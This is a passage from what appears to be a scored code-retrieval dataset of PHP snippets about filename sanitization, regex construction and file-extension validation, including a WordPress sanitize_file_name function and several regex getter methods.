"text": "function fileFilter($file) { return mb_ereg_replace(\"([^\\w\\s\\d\\-_~,;\\[\\]\\(\\).])\", '', $file); }", "title": "" }, { "docid": "e768e3b24af4ddf5b43c34402c3f61c2", "score": "0.61028665", "text": "public function getRegex() {\n if (empty($this->regex))\n $this->regex = preg_replace_callback(\"@:(\\w+)@\", array(&$this, 'substituteFilter'), $this->url);\n\n return $this->regex;\n }", "title": "" }, { "docid": "4759fa802664fbe9fca578923976484c", "score": "0.608187", "text": "public function getRegex()\n {\n //add an optional, internal _format variable to the url, used\n //for automatically checking the format at the end of the\n //url. This will only be matched if args_regex does not allow\n //for '.' .\n $url = $this->url . '(\\.:_format)';\n\n //replace all optional variable definitions with the regex equivalents\n $regex = str_replace('(', '(?:', $url);\n $regex = str_replace(')', ')?', $regex);\n\n //if using auto args for this route, replace :args with a\n //regex capture group for them. Throw an exception if :args\n //isn't in the url definition\n if ($this->auto_args) {\n if (!strpos($regex, ':args')) {\n throw new RouteFailedException(\"A route with auto args must contain ':args' in the url\");\n }\n $regex = preg_replace('`:args`', '(?P<args>.+)', $regex);\n }\n\n //regex of args in the url defintion\n $definition_args = '`:([a-zA-Z_][a-zA-Z0-9_]+)`';\n //replace with regex of args in the url to be tested\n $url_args = '(?P<\\1>' . $this->args_regex . ')';\n $regex = preg_replace($definition_args, $url_args, $regex);\n\n return '`^' . $regex . '$`';\n }", "title": "" }, { "docid": "19b2b8e0d9ee6aef07c653d2f3328bcf", "score": "0.59658355", "text": "public abstract function get_regex_string();", "title": "" }, { "docid": "283e6dee8ee78ce54dfa0953d54c3681", "score": "0.5953317", "text": "public function regex(): string;", "title": "" }, { "docid": "9e1d037d953c35868b1848eee94fe98a", "score": "0.5944938", "text": "abstract static function getRegex() : string;", "title": "" }, { "docid": "5a13cf85997b2b6f90e01026a7addb32", "score": "0.58610183", "text": "function sanitize_file_name( $filename ) {\n\t$special_chars = array(\"?\", \"[\", \"]\", \"/\", \"\\\\\", \"=\", \"<\", \">\", \":\", \";\", \",\", \"'\", \"\\\"\", \"&\", \"$\", \"#\", \"*\", \"(\", \")\", \"|\", \"~\", \"`\", \"!\", \"{\", \"}\", \"%\", \"+\", chr(0));\n\t$filename = preg_replace( \"#\\x{00a0}#siu\", ' ', $filename );\n\t$filename = str_replace( $special_chars, '', $filename );\n\t$filename = str_replace( array( '%20', '+' ), '-', $filename );\n\t$filename = preg_replace( '/[\\r\\n\\t -]+/', '-', $filename );\n\t$filename = trim( $filename, '.-_' );\n\n\tif ( false === strpos( $filename, '.' ) ) {\n\t\t$mime_types = wp_get_mime_types();\n\t\t$filetype = wp_check_filetype( 'test.' . $filename, $mime_types );\n\t\tif ( $filetype['ext'] === $filename ) {\n\t\t\t$filename = 'unnamed-file.' . $filetype['ext'];\n\t\t}\n\t}\n\n\t// Split the filename into a base and extension[s]\n\t$parts = explode('.', $filename);\n\n\t// Return if only one extension\n\tif ( count( $parts ) <= 2 ) {\n\t\treturn $filename;\n\t}\n\n\t// Process multiple extensions\n\t$filename = array_shift($parts);\n\t$extension = array_pop($parts);\n\t$mimes = get_allowed_mime_types();\n\n\t/*\n\t * Loop over any intermediate extensions. Postfix them with a trailing underscore\n\t * if they are a 2 - 5 character long alpha string not in the extension whitelist.\n\t */\n\tforeach ( (array) $parts as $part) {\n\t\t$filename .= '.' . $part;\n\n\t\tif ( preg_match(\"/^[a-zA-Z]{2,5}\\d?$/\", $part) ) {\n\t\t\t$allowed = false;\n\t\t\tforeach ( $mimes as $ext_preg => $mime_match ) {\n\t\t\t\t$ext_preg = '!^(' . $ext_preg . ')$!i';\n\t\t\t\tif ( preg_match( $ext_preg, $part ) ) {\n\t\t\t\t\t$allowed = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ( !$allowed )\n\t\t\t\t$filename .= '_';\n\t\t}\n\t}\n\t$filename .= '.' . $extension;\n\t/** This filter is documented in wp-includes/formatting.php */\n\treturn $filename;\n}", "title": "" }, { "docid": "273fbb90fa9b7aedddd6b3a0af637ae7", "score": "0.5840439", "text": "protected function getRegex()\n {\n return $this->wrapRegex(\n $this->notInsideQuotes('?')\n . '|' .\n $this->notInsideQuotes('\\:\\w+', false)\n );\n }", "title": "" }, { "docid": "cb2e6d3b7dc2db3d66f8eef16c50f9ad", "score": "0.5840164", "text": "function fpm_get_file_name_pattern() {\n return '#^front-page-[a-z0-9-]+\\.php$#';\n}", "title": "" }, { "docid": "3a1eca27cb2a1008117bb7ba658fa900", "score": "0.5838372", "text": "function is_valid_file_name(string $file)\n {\n return preg_match('/^([-_.\\w]+)$/', $file) > 0;\n }", "title": "" }, { "docid": "58a2db7be53680b0f3004b423d62e748", "score": "0.5831532", "text": "function toRegex() {\n\n\t\n\t\treturn \"/^\".preg_replace( $this->patterns, $this->replacements, $this->path ) . \"$/mis\";\n\t}", "title": "" }, { "docid": "8c2b5bdcfbad8df10c915053f0f2aec7", "score": "0.5825016", "text": "abstract public function regexp();", "title": "" }, { "docid": "1f620cd4ddcab280a3e7833d8eca6d4a", "score": "0.57937354", "text": "private static function _getCustomFormatRegex()\n {\n $pattern = '/\\_([^:]+)---([^\\]]+)\\_/';\n return $pattern;\n\n }", "title": "" }, { "docid": "c4e4985a09edbad7062c7da2d7b486ff", "score": "0.5757849", "text": "function fpm_is_file_name_match( $file_name ) {\n return preg_match( fpm_get_file_name_pattern(), $file_name );\n}", "title": "" }, { "docid": "cdcaf00f3466ab2c2d5516be21ceed5b", "score": "0.57549554", "text": "public function hasValidFilename()\n {\n return static::isValidName($this->fileName, $this->config->get('disallowUnsafeCharacters'));\n }", "title": "" }, { "docid": "156c3c26bb9c88c2a9a4239a43109500", "score": "0.5752824", "text": "function fnmatch($pattern, $filename, $flags = null) {}", "title": "" }, { "docid": "f230940d7416fab03aedfa639aa970cc", "score": "0.5744825", "text": "public function getRegexp(): string;", "title": "" }, { "docid": "b282ea16ccc1271b229dadc6e0360be6", "score": "0.5721358", "text": "public function testRegexPatterns()\n {\n try {\n $this->validateRequiredConfigData();\n\n return $this->fileNameWorker->testRegexPatterns($this->config);\n } catch (MockMakerFatalException $e) {\n echo \"\\n\\nFatal MockMakerException: {$e->getMessage()}\\n\\n\";\n }\n }", "title": "" }, { "docid": "f3c42d7db2a2ec183a4e76fd9e4d5abe", "score": "0.57203746", "text": "public function isFilenameValid($f) {\n\t\tif (!$this->isFilenameAllowed($f))\n\t\t\treturn false;\n\n\t\tif (strtoupper(substr(PHP_OS, 0, 3)) == \"WIN\") {\n\t\t\t// windows-specific limitations\n\t\t\tforeach (['\\\\', '/', ':', '*', '?', '\"', '<', '>', '|'] as $char)\n\t\t\t\tif (strpos($f, $char) !== false)\n\t\t\t\t\treturn false;\n\t\t} else {\n\t\t\t// *nix-specific limitations\n\t\t\tforeach (['/', '\\0'] as $char)\n\t\t\t\tif (strpos($f, $char) !== false)\n\t\t\t\t\treturn false;\n\t\t}\n\n\t\t// custom limitations\n\t\tforeach ($this->config['forbiddenChars'] as $char)\n\t\t\tif (strpos($f, $char) !== false)\n\t\t\t\treturn false;\n\t\treturn true;\n\t}", "title": "" }, { "docid": "1aecedcaca784e67661c4822bc26fee6", "score": "0.57120365", "text": "function getRegexp() {\n\t\treturn '/^' . PCRE_EMAIL_ADDRESS . '$/i';\n\t}", "title": "" }, { "docid": "1b3a71b2dd89c6830ffb0c44061fa83d", "score": "0.5701297", "text": "public function toRegEx();", "title": "" }, { "docid": "44a616a9852b8123eb7a5e1a73a9c014", "score": "0.5697472", "text": "public function getAllowedTextSelectionRegex(): string;", "title": "" }, { "docid": "ffb59528df98953b997e8c3f756a7076", "score": "0.56936544", "text": "public function getRegex(): string\n {\n return $this->regex;\n }", "title": "" }, { "docid": "843834fb783f0f98cea67a5e0fc3969b", "score": "0.5683371", "text": "public function setFileNameRegex($fileNameRegex) {\n\t\t$this->fileNameRegex = $fileNameRegex;\n\t}", "title": "" }, { "docid": "a7f85425c529fac923a30ec13939c242", "score": "0.5670797", "text": "private static function _sanitizeFilename($filename) {\n\n $sane = true;\n foreach( Query::$_invalidChars as $invalidChar) {\n\n $pos = strpos($filename, $invalidChar);\n if ( $pos !== false ) {\n $sane = false;\n break;\n }\n }\n\n return $sane;\n\n }", "title": "" }, { "docid": "2aba46c9a757478f4b09a81bdba08f0f", "score": "0.5664321", "text": "public function isValidFilename($value): bool\n {\n return !empty($value) && preg_match('/^[\\pL\\pM\\pN_-]+$/u', $value) > 0;\n }", "title": "" }, { "docid": "977fa22772ed87ccfaf8e34247a16f3c", "score": "0.566057", "text": "public function isValidFilename($filename) {\n\t\t// Block hidden files\n\t\treturn !preg_match('#(^|[\\\\\\\\/])\\\\..*#', $filename);\n\t}", "title": "" }, { "docid": "5524c338b2624a594f16aa1e0e75aff0", "score": "0.564214", "text": "function getValidationRegex( $VLDTN_CONSTANT ){\n\t\t$arr = getAllValidationConstants();\n\t\t\n\t\treturn $arr[ $VLDTN_CONSTANT ][ 'REGEX' ];\n\t}", "title": "" }, { "docid": "eb004ab86fc5898469851ddc0c71e36e", "score": "0.5639321", "text": "public function getRegex()\n {\n return $this->regex;\n }", "title": "" }, { "docid": "eb004ab86fc5898469851ddc0c71e36e", "score": "0.5639321", "text": "public function getRegex()\n {\n return $this->regex;\n }", "title": "" }, { "docid": "eb004ab86fc5898469851ddc0c71e36e", "score": "0.5639321", "text": "public function getRegex()\n {\n return $this->regex;\n }", "title": "" }, { "docid": "a3d6414d6d862a9697dcca770b473eef", "score": "0.5635869", "text": "public function validNameFile($filename,$ext=true){\r\n $filename = trim($filename);\r\n if($filename!=\".\" && $filename!=\"..\" && $filename!=\" \" && preg_match_all(\"#^[a-zA-Z0-9-_.\\s]+$#\",$filename) > 0){\r\n if($ext) return $this->validExt($filename);\r\n else return true;\r\n }else{\r\n return false;\r\n }\r\n }", "title": "" }, { "docid": "fcea6a7d26436ece58200627994bacc4", "score": "0.5611685", "text": "protected function ensureRegEx($pattern)\n {\n if (!preg_match('/^\\/.*\\/$/', $pattern)) {\n $pattern = '/^' . str_replace('.', '\\.', $pattern) . '$/i';\n }\n \n return $pattern;\n }", "title": "" }, { "docid": "e7306bae3e1d2570d1a681a5263c2df3", "score": "0.56055075", "text": "private function allowedFileFormats()\n {\n return ['jpeg', 'jpg', 'png', 'gif', 'tif', 'bmp', 'psd', 'webp'];\n }", "title": "" }, { "docid": "1a5157a17de395e89ec9e35dafb35bf5", "score": "0.55946165", "text": "public function buildRegex() : string;", "title": "" }, { "docid": "4df310bfa05dc996cd9ad97efe893c43", "score": "0.5566783", "text": "public function getAllowedExt()\n {\n return ['pdf','pptx', 'xls', 'xlsx', 'flash', 'mp3', 'docx', 'doc', 'zip', 'jpg', 'jpeg', 'png', 'gif', 'ini', 'readme', 'avi', 'csv', 'txt', 'wma', 'mpg', 'flv', 'mp4'];\n }", "title": "" }, { "docid": "e0d3bdb826b568131def4ad6e5211c5b", "score": "0.5555939", "text": "public static function create_dir_param_regex($url)\n {\n $url = static::sanitize_uri($url);\n $rgxp = '/\\$([a-zA-Z]([a-zA-Z0-9_]+)?)/';\n $rgx = preg_replace('/\\//', \"\\\\\\/\", $url);\n $rgx = preg_replace('/\\\\\\\\\\/$/', '', $rgx);\n $rgx = preg_replace($rgxp, '(?P<$1>[^\\/\\?]+)', $rgx);\n return '/^' . $rgx . '(?P<file>\\/?[^\\?]+)?$/';\n }", "title": "" }, { "docid": "b5fdaf8d5068fd7efa89f6fbe6257dce", "score": "0.55442363", "text": "public function regex()\n {\n return '/(https?:\\/\\/(www\\.)?[-a-zA-Z0-9@:%._\\+~#=]{2,256}\\.[a-z]{2,6}\\b([-a-zA-Z0-9@:%_\\+.~#?&\\/\\/=]*))/';\n }", "title": "" }, { "docid": "0e2d51bd72e6406500fc642b500698da", "score": "0.55254525", "text": "protected function getRegexValidationList()\r\n {\r\n // RegEx validation string for the routes to validate against. This\r\n // list will be based on all of the langugages available within the\r\n // translation list. Basically if a language folder exists, it will\r\n // show up here as a valid language. The string generated will look\r\n // similar to this:\r\n //\r\n // ^(en|en_US|es|es_US)$\r\n \r\n $out = \"^(\";\r\n $languages = $this->_translate->getList();\r\n foreach ($languages as $language) {\r\n $out .= $language . \"|\";\r\n }\r\n $out = substr($out, 0, -1) . \")$\"; // remove the last \"|\"\r\n return $out;\r\n }", "title": "" }, { "docid": "a16a61caf91d63a99e82f1a8cc9aa22e", "score": "0.55197674", "text": "public function getRegex() {\n\t\treturn $this->regex;\n\t}", "title": "" }, { "docid": "7cba92d40fa4d86504adfb0a64cab94e", "score": "0.5517231", "text": "private function imposeCustomRegex()\n {\n $pattern = $this->path;\n foreach ($this->wheres as $where) {\n $param = array_key_first($where);\n $regex = $where[$param];\n $pattern = str_replace('{' . $param . '}', '(' . $regex . ')', $pattern);\n }\n return $pattern;\n }", "title": "" }, { "docid": "c43535bfabf2c4b57a737caf4c0677ce", "score": "0.55134225", "text": "abstract protected function getMediaElementRegex();", "title": "" }, { "docid": "69852564d250e3be5a308cb558dbb53e", "score": "0.55056757", "text": "public function regexp()\n {\n return '/['\n . \"'?\" // single-quote for abbrevs\n . '\\x{0370}-\\x{037D}' \n . '\\x{0386}-\\x{0386}' \n . '\\x{0388}-\\x{03FF}' \n . '\\x{1F00}-\\x{1FFF}'\n . ']+'\n . \"'?\" // single-quote for abbrevs\n . '/u' // unicode\n ; \n }", "title": "" }, { "docid": "a5a355fd5cfbc6e915b26705557505e3", "score": "0.549421", "text": "function sanitize_file_name( $filename ) {\n\t$filename_raw = $filename;\n\t$special_chars = array(\"?\", \"[\", \"]\", \"/\", \"\\\\\", \"=\", \"<\", \">\", \":\", \";\", \",\", \"'\", \"\\\"\", \"&\", \"$\", \"#\", \"*\", \"(\", \")\", \"|\", \"~\", \"`\", \"!\", \"{\", \"}\", \"%\", \"+\", chr(0));\n\t/**\n\t * Filters the list of characters to remove from a filename.\n\t *\n\t * @since 2.8.0\n\t *\n\t * @param array $special_chars Characters to remove.\n\t * @param string $filename_raw Filename as it was passed into sanitize_file_name().\n\t */\n\t$special_chars = apply_filters( 'sanitize_file_name_chars', $special_chars, $filename_raw );\n\t$filename = preg_replace( \"#\\x{00a0}#siu\", ' ', $filename );\n\t$filename = str_replace( $special_chars, '', $filename );\n\t$filename = str_replace( array( '%20', '+' ), '-', $filename );\n\t$filename = preg_replace( '/[\\r\\n\\t -]+/', '-', $filename );\n\t$filename = trim( $filename, '.-_' );\n\n\tif ( false === strpos( $filename, '.' ) ) {\n\t\t$mime_types = wp_get_mime_types();\n\t\t$filetype = wp_check_filetype( 'test.' . $filename, $mime_types );\n\t\tif ( $filetype['ext'] === $filename ) {\n\t\t\t$filename = 'unnamed-file.' . $filetype['ext'];\n\t\t}\n\t}\n\n\t// Split the filename into a base and extension[s]\n\t$parts = explode('.', $filename);\n\n\t// Return if only one extension\n\tif ( count( $parts ) <= 2 ) {\n\t\t/**\n\t\t * Filters a sanitized filename string.\n\t\t *\n\t\t * @since 2.8.0\n\t\t *\n\t\t * @param string $filename Sanitized filename.\n\t\t * @param string $filename_raw The filename prior to sanitization.\n\t\t */\n\t\treturn apply_filters( 'sanitize_file_name', $filename, $filename_raw );\n\t}\n\n\t// Process multiple extensions\n\t$filename = array_shift($parts);\n\t$extension = array_pop($parts);\n\t$mimes = get_allowed_mime_types();\n\n\t/*\n\t * Loop over any intermediate extensions. Postfix them with a trailing underscore\n\t * if they are a 2 - 5 character long alpha string not in the extension whitelist.\n\t */\n\tforeach ( (array) $parts as $part) {\n\t\t$filename .= '.' . $part;\n\n\t\tif ( preg_match(\"/^[a-zA-Z]{2,5}\\d?$/\", $part) ) {\n\t\t\t$allowed = false;\n\t\t\tforeach ( $mimes as $ext_preg => $mime_match ) {\n\t\t\t\t$ext_preg = '!^(' . $ext_preg . ')$!i';\n\t\t\t\tif ( preg_match( $ext_preg, $part ) ) {\n\t\t\t\t\t$allowed = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ( !$allowed )\n\t\t\t\t$filename .= '_';\n\t\t}\n\t}\n\t$filename .= '.' . $extension;\n\t/** This filter is documented in wp-includes/formatting.php */\n\treturn apply_filters('sanitize_file_name', $filename, $filename_raw);\n}", "title": "" }, { "docid": "920dda9cb00710d6d4536bc5915f7604", "score": "0.54803497", "text": "public function generateRegex() {\n\n $this->regex = $this->url;\n $this->regex = str_replace('/', '\\/', $this->regex);\n $this->regex = str_replace(')', ')?', $this->regex);\n $lastMandatoryParam = null;\n\n if (count($this->params['mandatory']) > 0) {\n\n foreach ($this->params['mandatory'] as $param) {\n list(, $regex) = $this->filters[$param];\n $this->regex = str_replace('<' . $param . '>', '(?P<' . $param . '>' . $regex . ')', $this->regex);\n $lastMandatoryParam = $param;\n }\n\n }\n\n if (count($this->params['optional']) > 0) {\n\n foreach (array_reverse($this->params['optional']) as $param) {\n list(, $regex, $precedence) = $this->filters[$param];\n $this->regex = str_replace('<' . $param . '>', '(?P<' . $param . '>' . $regex . ')', $this->regex);\n }\n\n }\n\n $this->regex = '/^' . $this->regex . '$/i';\n return $this->regex;\n }", "title": "" }, { "docid": "75798284647777388d353af40d21c7b4", "score": "0.54664475", "text": "public function validate_regexname() {\n if (!preg_match(\"/^[a-zA-Z-]*$/\", $this->text) && !empty($this->text)){\n $this->output = \"only letters and hyphens allowed\";\n $this->setError();\n return $this->output;\n }\n }", "title": "" }, { "docid": "394e112a6a9a449006eb4574bc7d9c73", "score": "0.5460786", "text": "function checkFileNameForMultiLang( $filename )\n{\n\tif(empty($filename)){\n\t\treturn false;\n\t}\n\tif (strstr( $filename , chr(0) )){\n\t\treturn false;\n\t}\n\t//not duble comma\n\tif(preg_match(\"?\".preg_quote(\"..\").\"?\",$filename)){\n\t\treturn false;\n\t}\n\tif(preg_match(\"?\".preg_quote(\"/\").\"?\",$filename)){\n\t\treturn false;\n\t}\n\tif(preg_match(\"?(\\r\\n|\\n|\\r)?\",$filename)){\n\t\treturn false;\n\t}\n\treturn true;\n}", "title": "" }, { "docid": "d6cd97e04b340f5b0cd9d91da47e896a", "score": "0.5442099", "text": "function wp_check_filetype( $filename, $mimes = null ) {\n\tif ( empty($mimes) )\n\t\t$mimes = get_allowed_mime_types();\n\t$type = false;\n\t$ext = false;\n\n\tforeach ( $mimes as $ext_preg => $mime_match ) {\n\t\t$ext_preg = '!\\.(' . $ext_preg . ')$!i';\n\t\tif ( preg_match( $ext_preg, $filename, $ext_matches ) ) {\n\t\t\t$type = $mime_match;\n\t\t\t$ext = $ext_matches[1];\n\t\t\tbreak;\n\t\t}\n\t}\n\n\treturn compact( 'ext', 'type' );\n}", "title": "" }, { "docid": "d6cd97e04b340f5b0cd9d91da47e896a", "score": "0.5442099", "text": "function wp_check_filetype( $filename, $mimes = null ) {\n\tif ( empty($mimes) )\n\t\t$mimes = get_allowed_mime_types();\n\t$type = false;\n\t$ext = false;\n\n\tforeach ( $mimes as $ext_preg => $mime_match ) {\n\t\t$ext_preg = '!\\.(' . $ext_preg . ')$!i';\n\t\tif ( preg_match( $ext_preg, $filename, $ext_matches ) ) {\n\t\t\t$type = $mime_match;\n\t\t\t$ext = $ext_matches[1];\n\t\t\tbreak;\n\t\t}\n\t}\n\n\treturn compact( 'ext', 'type' );\n}", "title": "" }, { "docid": "26d0fd568529d3a18147be8fa9720bda", "score": "0.5436298", "text": "protected function regexp(): string\n {\n return '.*(?<purchase_number>[0-9]{2}\\.[0-9]{3}).*';\n }", "title": "" }, { "docid": "737c37d4598981d409bf27383d14d563", "score": "0.5431267", "text": "public function testRegexpValidator()\n\t{\n\t\t$file = \"./tests/resources/test_required_03.xlsx\";\n\t\t$importer = new Eximporter($file);\n\n\t\t$importer->setValidationRules([\n\t\t\t'title' => 'required|regexp:#^[a-zA-Z]{4}$#',\n\t\t\t'description' => 'required',\n\t\t]);\n\n\t\t$importer->read();\n\n\t\t$this->assertEquals($importer->getGoodRowsCount(), 1);\n\t\t$this->assertEquals($importer->getBadRowsCount(), 2);\n\n\t}", "title": "" }, { "docid": "0dade755b7f73c65f055550a58216180", "score": "0.54302704", "text": "public static function globToRegex($glob)\n {\n $firstByte = true;\n $escaping = false;\n $inCurlies = 0;\n $regex = '';\n for ($i = 0; $i < strlen($glob); $i++) {\n $car = $glob[$i];\n if ($firstByte) {\n if (self::$strictLeadingDot && $car != '.') {\n $regex .= '(?=[^\\.])';\n }\n\n $firstByte = false;\n }\n\n if ($car == '/') {\n $firstByte = true;\n }\n\n if ($car == '.' || $car == '(' || $car == ')' || $car == '|' || $car == '+' || $car == '^' || $car == '$') {\n $regex .= \"\\\\$car\";\n } else if ($car == '*') {\n $regex .= ($escaping ? \"\\\\*\" : (self::$strictWildcardSlash ? \"[^/]*\" : \".*\"));\n } else if ($car == '?') {\n $regex .= ($escaping ? \"\\\\?\" : (self::$strictWildcardSlash ? \"[^/]\" : \".\"));\n } else if ($car == '{') {\n $regex .= ($escaping ? \"\\\\{\" : \"(\");\n if ( ! $escaping) {\n ++$inCurlies;\n }\n } else if ($car == '}' && $inCurlies) {\n $regex .= ($escaping ? \"}\" : \")\");\n if ( ! $escaping) {\n --$inCurlies;\n }\n } else if ($car == ',' && $inCurlies) {\n $regex .= ($escaping ? \",\" : \"|\");\n } else if ($car == \"\\\\\") {\n if ($escaping) {\n $regex .= \"\\\\\\\\\";\n $escaping = false;\n } else {\n $escaping = true;\n }\n\n continue;\n } else {\n $regex .= $car;\n $escaping = false;\n }\n\n $escaping = false;\n }\n\n return \"#^$regex$#\";\n }", "title": "" }, { "docid": "afb7dfd24fd1fc958dff2b4971d171f5", "score": "0.5415513", "text": "function fnmatch($pattern, $fn, $flags=0x0000) {\n \n #-- 'hidden' files\n if ($flags & FNM_PERIOD) {\n if (($fn[0] == \".\") && ($pattern[0] != \".\")) {\n return(false); // abort early\n }\n }\n\n #-- case-insensitivity\n $rxci = \"\";\n if ($flags & FNM_CASEFOLD) {\n $rxci = \"i\";\n }\n #-- handline of pathname separators (/)\n $wild = \".\";\n if ($flags & FNM_PATHNAME) {\n $wild = \"[^/\".DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR.\"]\";\n }\n\n #-- check for cached regular expressions\n static $cmp = array();\n if (isset($cmp[\"$pattern+$flags\"])) {\n $rx = $cmp[\"$pattern+$flags\"];\n }\n\n #-- convert filename globs into regex\n else {\n $rx = preg_quote($pattern);\n $rx = strtr($rx, array(\n \"\\\\*\"=>\"$wild*?\", \"\\\\?\"=>\"$wild\", \"\\\\[\"=>\"[\", \"\\\\]\"=>\"]\",\n ));\n $rx = \"{^\" . $rx . \"$}\" . $rxci;\n \n #-- cache\n if (count($cmp) >= 50) {\n $cmp = array(); // free\n }\n $cmp[\"$pattern+$flags\"] = $rx;\n }\n \n #-- compare\n return(preg_match($rx, $fn));\n }", "title": "" }, { "docid": "a39240bf7ac967b3765962919feb88a8", "score": "0.54030055", "text": "protected function getRegex(): string {\n\n $regex = [\n // regex to look for numbers e.g. 1, 1.2 or -2.3 and set group name to NUMBER\n sprintf('(?P<NUMBER>%s)', '\\-?\\d+\\.?\\d*(E-?\\d+)?'),\n ];\n\n // load in the available operators and merge with the number one\n $operatorsRegex = $this->getAllOperatorsRegex();\n $regex = array_merge($regex, $operatorsRegex);\n\n // convert into a string and return regex\n $regex = implode('|', $regex);\n return \"/$regex/i\";\n }", "title": "" }, { "docid": "efe82a9a82e056ac06f7359b88ed53f1", "score": "0.53831", "text": "function RetOkExt($filename,$goodExt){\n\t$myExt = '';\n\tforeach($goodExt as $value){\n\t\t$testExt = \"\\.\".$value.\"$\";\n\t\tif (eregi($testExt, $filename)) {\n\t\t\t$myExt = $value;\n\t\t}\n\t}\n\treturn $myExt;\n}", "title": "" }, { "docid": "d6397e4e2843c8902ca18a7bea5080a4", "score": "0.53671306", "text": "public static function getValidReferenceCodeTypeRegex(): string\n {\n return \"/^(\" . static::getValidRefenceCodeTypes()->reduce(function ($regex, $refenceCodeType) {\n // Separate by a pipe and escape regex special characters\n return $regex . \"|\" . preg_quote($refenceCodeType);\n }) . \")$/i\";\n }", "title": "" }, { "docid": "5b23dd3ec8f05b7ed085314c2ff1204e", "score": "0.5366969", "text": "public function sanitizeFilename($filename);", "title": "" }, { "docid": "cb0ecbbd510319253adf347b82ac8ab0", "score": "0.5366505", "text": "private function parseFilename()\n {\n return $this->getRegexPart($this->partContent, \"/filename=\\\"(.*?)\\\"/s\");\n }", "title": "" }, { "docid": "ff42f0f5c0a4e9e4859ced63e5d10600", "score": "0.536526", "text": "public function sanitizeFileName( $filename ) {\n\t\t$special_chars = array(\"?\", \"[\", \"]\", \"/\", \"\\\\\", \"=\", \"<\", \">\", \":\", \";\", \",\", \"'\", \"\\\"\", \"&\", \"$\", \"#\", \"*\", \"(\", \")\", \"|\", \"~\", \"`\", \"!\", \"{\", \"}\", chr(0));\n\t\t$filename = str_replace($special_chars, '', $filename);\n\t\t$filename = preg_replace('/[\\s-]+/', '-', $filename);\n\t\t$filename = trim($filename, '.-_');\n\n\t\t// Split the filename into a base and extension[s]\n\t\t$parts = explode('.', $filename);\n\n\t\t// Return if only one extension\n\t\tif ( count($parts) <= 2 ) {\n\t\t\treturn $filename;\n\t\t}\n\t\t\n\t\t// temporarily dont check for multiple extensions.\n\t\treturn $filename;\n\t\t\n\t}", "title": "" }, { "docid": "0c56706da994330f166c8ec8b9ff5787", "score": "0.5357841", "text": "private function safe_filename($filename)\n\t{\n\t\treturn preg_replace('/[^0-9a-z\\.\\_\\-]/i','', strtolower($filename));\n\t}", "title": "" }, { "docid": "0c56706da994330f166c8ec8b9ff5787", "score": "0.5357841", "text": "private function safe_filename($filename)\n\t{\n\t\treturn preg_replace('/[^0-9a-z\\.\\_\\-]/i','', strtolower($filename));\n\t}", "title": "" }, { "docid": "3edfaca4b0f22e008a83aae5c0e53305", "score": "0.5331452", "text": "public function _getFileAllowedExtension(){\n return array('jpg', 'jpeg', 'png', 'gif', 'zip', 'txt', 'pdf', 'doc', 'docx');\n }", "title": "" }, { "docid": "49db23b76e0e4dbc094e20621749d33c", "score": "0.5316061", "text": "function sanitize_filename($string)\n{\n return sanitize($string, FALSE);\n}", "title": "" }, { "docid": "8126119e99a3af9b5628cc1e79167ddb", "score": "0.53158313", "text": "public function getRegex()\n {\n $value = $this->get(self::REGEX);\n return $value === null ? (string)$value : $value;\n }", "title": "" }, { "docid": "1a10e18d2b59730331a168046dd28015", "score": "0.52973956", "text": "function check_file_ext($filename) {\n\t\t$ok = true;\n\t\t$file_ext = strtolower(substr($filename,strrpos($filename,'.')));\n\t\tforeach($this->ext_forbidden as $ext) {\n\t\t\tif ($ext=='*') {\n\t\t\t\t$ok = false;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$file_ext = substr(strtolower($filename),-1*strlen($ext ));\n\t\t\t\tif ( strtolower($ext) == $file_ext ) {\n\t\t\t\t\t$ok = false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t//Ahora comprobamos las extensiones SIEMPRE permitidas\n\t\tforeach($this->ext_allowed as $ext) {\n\t\t\tif ($ext=='*') $ok = true;\n\t\t\telse {\n\t\t\t\tif ( strtolower($ext) == $file_ext ) {\n\t\t\t\t\t$ok = true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (!$ok) {\n\t\t\t$this->error_msg = 'Extensión no permitida: '.$file_ext.'.';\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}", "title": "" }, { "docid": "14a83c743da87e834dc77fb0ff34b942", "score": "0.5292419", "text": "private function getProviderSafeFileName()\n {\n $file = preg_replace(\"#([^\\w\\s\\d\\-_~,;\\[\\].])#i\", '', $this->provider->getName());\n $file = preg_replace(\"#([\\.]{2,})#i\", '', $file); // remove any runs of periods\n $file = preg_replace(\"#([\\s]){2,}#i\", ' ', $file); // replace double space by single space\n return $file;\n }", "title": "" }, { "docid": "afc87bbf77c6186c4d540f3ee3f699e5", "score": "0.52904844", "text": "function sanitize_file_name( $filename ) {\n $special_chars = array(\"?\", \"[\", \"]\", \"/\", \"\\\\\", \"=\", \"<\", \">\" , \":\" , \";\" , \",\" , \"'\" , \"\\\"\", \" &\", \"$\" , \"#\" , \"*\", \"(\" , \")\" , \"|\" , \"~\" , \"`\" , \"!\" , \"{\" , \"}\" ); \n $filename=str_replace($special_chars, '' , $filename);\n $filename=preg_replace('/[\\s-]+/', '-' , $filename); $filename=trim($filename, '.-_' ); \n return strtolower($filename); \n}", "title": "" }, { "docid": "decb7402d4e2102e2f5e3c1ca2b9a3b5", "score": "0.5288659", "text": "function validate_extension() { \r\n \r\n/* We begin by getting the file's extension by finding the last instance of \r\n the . and getting the characters that follow (can't take last 3 characters \r\n because some extensions have four chars, e.g., .html) */\r\n\r\n $file_name = $this->file_name; \r\n $file_ext = strrchr($file_name,\".\"); \r\n $ext_array = $this->ext_array; \r\n $ext_count = count($ext_array); \r\n\r\n\r\n // Now a few checks before we try to match the extension\r\n \r\n if (!$file_name) { // a double check -- should have caught this earlier...\r\n\t $errno = 9;\r\n\t //$this->print_errors($errno);\r\n return false; \r\n } else { \r\n if (!$ext_array) { // if no ext_array specified, any extension is acceptable\r\n return true; \r\n } else { \r\n\r\n\t\t/* just in case extension in array are not formatted right, we'll \r\n\t\t correct any potential problem here by adding . and making lower case */\r\n\r\n foreach ($ext_array as $value) {\r\n $first_char = substr($value,0,1); \r\n if ($first_char <> \".\") { \r\n $extensions[] = \".\".strtolower($value); \r\n } else { \r\n $extensions[] = strtolower($value); \r\n } \r\n } \r\n\r\n // Now onto the business of matching the extension with values in the array\r\n\r\n\t\t$valid_extension = false; // initially assume it is false...\r\n\r\n foreach ($extensions as $value) { 